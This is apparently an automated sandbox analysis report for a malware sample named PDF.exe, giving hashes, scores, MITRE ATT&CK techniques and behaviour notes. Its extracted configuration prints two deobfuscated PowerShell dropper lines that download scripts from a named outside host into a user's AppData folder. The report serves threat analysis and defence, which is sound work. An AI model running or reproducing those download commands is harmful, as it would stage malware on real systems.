ff9b39d07fd6e4a7f98d109664d91de9e318671da6412da85396541722d92799

Resubmissions

21/01/2025, 13:31 UTC

250121-qspexswjes 10

21/01/2025, 12:04 UTC

250121-n8tngasrhm 10

13/07/2024, 12:59 UTC

240713-p8a2ss1gpq 10

Sharing

Copy URL

Twitter E-mail

General

Target

PDF.exe
Size

258KB
Sample

250121-n8tngasrhm
MD5

34c2047d0b69ba023b700c21431accc0
SHA1

e34c28611707c81565cb73d8a1a46dfc3ab2495a
SHA256

ff9b39d07fd6e4a7f98d109664d91de9e318671da6412da85396541722d92799
SHA512

a1566d65beb8135edfcb5c4a09631bc17dff56db672621990a10d0eff37a0290c7e1e9705f1918a7e719cbea4b1cecc29bb8254da946108e9bd5432070cc8ca7
SSDEEP

6144:VbJhs7QW69hd1MMdxPe9N9uA0hu9TBrjJ0Xxne0AqGLj:VbjDhu9TV6xeJqG3

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

1
(new-object net.webclient).downloadfile("http://thelustfactory.com/vns/1.ps1", "C:\\Users\\Admin\\AppData\\Roaming\\1.ps1")
2

URLs

exe.dropper

http://thelustfactory.com/vns/1.ps1

Extracted

Language

ps1

Deobfuscated

1
(new-object net.webclient).downloadfile("http://thelustfactory.com/vns/2.ps1", "C:\\Users\\Admin\\AppData\\Roaming\\2.ps1")
2

URLs

exe.dropper

http://thelustfactory.com/vns/2.ps1

Targets

- Target
  
  PDF.exe
- Size
  
  258KB
- MD5
  
  34c2047d0b69ba023b700c21431accc0
- SHA1
  
  e34c28611707c81565cb73d8a1a46dfc3ab2495a
- SHA256
  
  ff9b39d07fd6e4a7f98d109664d91de9e318671da6412da85396541722d92799
- SHA512
  
  a1566d65beb8135edfcb5c4a09631bc17dff56db672621990a10d0eff37a0290c7e1e9705f1918a7e719cbea4b1cecc29bb8254da946108e9bd5432070cc8ca7
- SSDEEP
  
  6144:VbJhs7QW69hd1MMdxPe9N9uA0hu9TBrjJ0Xxne0AqGLj:VbjDhu9TV6xeJqG3
Score

10^/10

discovery execution link pdf
- Checks computer location settings
  Looks up country code configured in the registry, likely geofence.
- Command and Scripting Interpreter: PowerShell
  Using powershell.exe command.
  execution
behavioral1 behavioral2 behavioral3 behavioral4 behavioral5 behavioral6 behavioral7 behavioral8 behavioral9

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Tasks

Resubmissions

Sharing

General

Malware Config

Extracted

Extracted

Targets

Checks computer location settings

Command and Scripting Interpreter: PowerShell

MITRE ATT&CK Enterprise v15

Tasks

static1

behavioral1

behavioral2

behavioral3

behavioral4

behavioral5

behavioral6

behavioral7

behavioral8

behavioral9

We care about your privacy.